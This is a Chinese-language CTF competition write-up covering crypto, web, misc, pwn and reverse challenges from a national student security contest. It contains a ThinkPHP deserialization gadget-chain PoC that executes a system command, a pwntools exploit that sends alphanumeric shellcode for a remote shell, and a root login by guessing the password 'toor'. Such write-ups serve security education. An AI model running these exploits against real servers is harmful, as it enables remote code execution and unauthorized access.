做了10個,都是爛大街的題目,分?jǐn)?shù)很低。CTF榜單186,以為穩(wěn)進(jìn)分區(qū)賽了。理論題算上變一千五百多名,華東南二百多名,進(jìn)不去了,WriteUp也不想上傳了。
Crypto
不是密碼選手,但密碼非預(yù)期搞出來幾個
簽到電臺
關(guān)注公眾號給的提示“弼時安全到達(dá)了”,查找這幾個字的中文電碼,然后和題目給的密碼本里的前28位密碼逐位相加除以10取余。如下:
把取余后的,去掉空格后傳入msg就行:/send?msg=
ISO9798
nc上之后,會給一個sha256之后的字符串,和部分明文,讓求出前四位,用以下腳本即可得到前四位
from hashlib import *
hash='加密后的'
sss='部分明文'
table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for ch1 in table:
for ch2 in table:
for ch3 in table:
for ch4 in table:
hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()
if hashvalue==hash:
print(ch1+ch2+ch3+ch4)
quit()
求出前四位后,填入。然后會要求輸入128字節(jié)的數(shù)字串,這里隨便輸入就行,然后返回一個96位字節(jié)的字符串。將這個字符串每32位分成一段,總共三段分別為rA、rB、B,然后將rB和rA拼接后傳入。舉個例子,這個96長度的字符串為112233,傳入2211即可,傳入后就出flag
基于挑戰(zhàn)碼的雙向認(rèn)證
讀了半天文檔,就是讓補(bǔ)全功能驗(yàn)證模塊,我不會,也看不懂那個C語言。ssh連接:ssh player@IP -p port
,密碼也是player,連上后亂翻目錄翻到了root發(fā)現(xiàn)能進(jìn)去,閑的沒事翻來翻去,然后找到了flag,如下
cd /root/cube-shell/instance/flag_server
cat flag1.txt
cat flag2.txt
基于挑戰(zhàn)碼的雙向認(rèn)證2
flag就是上面那個flag2
基于挑戰(zhàn)碼的雙向認(rèn)證3
放這題的時候,官方好像發(fā)現(xiàn)了前兩道沒做權(quán)限驗(yàn)證的點(diǎn)。于是這個題加了權(quán)限驗(yàn)證,找到flag無法查看,這里本來沒有思路,提權(quán)也失敗。在嘗試獲取root權(quán)限時,su
指令切換用戶,嘗試了很多密碼,自己的kali默認(rèn)密碼是toor,于是就試了一下,沒想到成功了。然后直接查看flag2就行,這個系列出的很奇怪,預(yù)期就是補(bǔ)全客戶端的驗(yàn)證模塊,幾個朋友也是預(yù)期做的。但是這個非預(yù)期太簡單了,幾道題沒啥意義了,出得很奇怪
Web
Ezpop
參考這個https://www.freebuf.com/vuls/321546.html
把腳本里的Poc里dir命令改成cat /flag.txt
即可,如下
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
輸出結(jié)果base64解碼,然后Urlencode,結(jié)果傳給a參數(shù)以POST方式請求給index.php/index/test
路由
示例圖如下:
Misc
ez_usb
篩選usb.src=="2.8.1"
導(dǎo)出特定分組為1.pcapng,篩選usb.src=="2.10.1"
導(dǎo)出特定分組為2.pcapng
然后用UsbKeyboardDataHacker.py
解析1.pcapng
得到的字符串去掉<CAP>
,然后去掉<DEL>
以及前面的字母c,因?yàn)镈EL代表刪除,前面一個字母輸入也被刪了。然后剩下的字符串,通過如下腳本轉(zhuǎn)存為rar文件,我用HEX編輯器轉(zhuǎn)存的rar打不開,不知道啥原因
import binascii
hex_data = '字符串'
out = open('輸出的rar路徑', 'wb')
out.write(binascii.unhexlify(hex_data))
out.close()
這個壓縮包需要密碼,而密碼就是用UsbKeyboardDataHacker.py
解析2.pcapng得到的字符串
輸入密碼即可得到flag
問卷調(diào)查
填寫完因?yàn)楣俜經(jīng)]買會員,人家不給交,哈哈哈笑死了。然后官方應(yīng)該是買了,提交問卷就給flag
Pwn
login-nomal
exp:
from pwn import*
context.log_level = "debug"
io = remote("ip","port")
io.recv()
shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload = "opt:1\n" + "msg:ro0t1\n"
io.sendline(payload)
payload = "opt:2\n" + "msg:" + shellcode + "\n"
io.sendline(payload)
io.interactive()
注意一下shellcode寫法就行
Reverse
baby_tree
文本打開文件,把值拿出來就行??淳托辛烁鷖wift一樣硬看,可惜那個沒看出來,賽后和朋友交流發(fā)現(xiàn)寫法有很多,這里只放一個python寫的
res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,
130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
key=[ord(c) for c in "345y"]
def my_encode(data,key):
b=data
k=key
for i in range(len(b)-4+1):
r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
b[i]=r2^((k[0]+(r0>>4))&0xff)
b[i+1]=r3^((k[1]+(r1>>2))&0xff)
b[i+2]=r0^k[2]
b[i+3]=r1^k[3]
k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
return b==res
def my_decode(data,key):
b=data
k=key
k[0], k[1], k[2], k[3] = k[2], k[3], k[0],k[1]
for i in range(38,-1,-1):
r1=b[i+3]^k[3]
r0=b[i+2]^k[2]
r3=b[i+1]^((k[1]+(r1>>2))&0xff)
r2=b[i]^((k[0]+(r0>>4))&0xff)
k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3]
b[i], b[i + 1], b[i + 2], b[i + 3] = r0, r1, r2, r3
print("".join(chr(i) for i in b))
my_decode(res,key)
flag為:flag{30831242-56db-45b4-96fd-1f47e60da99d}
文章來源:http://www.zghlxwxcb.cn/news/detail-456763.html
做了十個,解決50%,沒進(jìn)分區(qū)賽很煩。理論題這種設(shè)定讓人想開個泥頭車創(chuàng)創(chuàng)設(shè)計(jì)者!文章來源地址http://www.zghlxwxcb.cn/news/detail-456763.html
到了這里,關(guān)于第十五屆全國大學(xué)生信息安全競賽部分WriteUp的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!